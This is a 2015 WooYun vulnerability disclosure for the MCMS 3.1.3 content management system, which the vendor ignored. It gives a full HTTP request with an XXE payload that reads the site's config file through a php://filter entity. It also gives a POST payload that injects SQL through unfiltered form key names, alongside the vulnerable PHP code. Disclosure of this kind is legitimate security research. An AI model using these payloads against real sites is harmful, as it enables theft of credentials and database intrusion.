当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102246

漏洞标题:MCMS 3.1.3 最新版sql注入与任意文件读取

相关厂商:mcms.cc

漏洞作者: roker

提交时间:2015-03-20 16:14

修复时间:2015-06-23 16:17

公开时间:2015-06-23 16:17

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开

简要描述:

rt

详细说明:

先看看任意文件读取。
上次提交的这个 WooYun: mcms v3.1.0 sql注入+任意文件读取。
厂商的做法是

$wx=new weixin();
$_GET = H::sqlxss($_GET);
$_POST = H::sqlxss($_POST);
...........
function response_msg(){
global $dbm,$C;
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

if(!empty($postStr)){
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
...
$keyword = trim($postObj->Content);
$keyword = H::sqlxss($keyword);


$_GET = H::sqlxss($_GET);
$_POST = H::sqlxss($_POST);
$keyword = H::sqlxss($keyword);加了这么几句。
注入是不行了。
但是 依然可以任意文件读取啊~
post:

POST //app/weixin/notify.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9vl7m4ivoovc76am47nrnr3m81; CNZZDATA1253530733=784223860-1426700537-%7C1426700537; skip_url=mycenter.php
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: text/xml
Content-Length: 262
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/Wamp/www/config/global.php">
]>
<xml>
<ToUserName>&test;</ToUserName>
<Content>a\</Content>
</xml>


1.png

2.png


再来看看注入。
D:/wamp/www/app/user/info.php

function m__save(){
global $dbm,$C,$V;
$_POST['info_body']=strip_tags($_POST['info_body'], '<br><p><a><img>');
$_POST=H::sqlxss($_POST);
//处理附件参数
$attach= $oname = $order = $model_fields = array();
foreach($_POST as $k=>$v){
if(substr($k,0,9)=='attach___'){
$attach[$v]=$v;
$oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]);
$order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]);
}
if (substr($k,0,9)=='extern___') { // 填充扩展表字段
$model_fields[substr($k,9)] = $v;
}
}
......
if($fields['model_name']!=''){
$model_fields['info_id']=$info_id;
//预先处理某些值 比如日期
foreach($model_fields as $k=>$v) {
$sql = "select form_type from ".TB_PRE."model_fields where model_name='".$fields['model_name']."' and field_name='".$k."' limit 1";


由于对于键名木有过滤,导致注入的产生,
post:

info_id=1&cate_id=2&model_name=product&info_title=aaaaaa&info_img=&info_body=11&extern___test 'sql语句=1


11.png


可以看到单引号进来了。可延时盲注- -

漏洞证明:

11.png


1.png

修复方案:

加强修复。亲

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-23 16:17

厂商回复:

最新状态:

暂无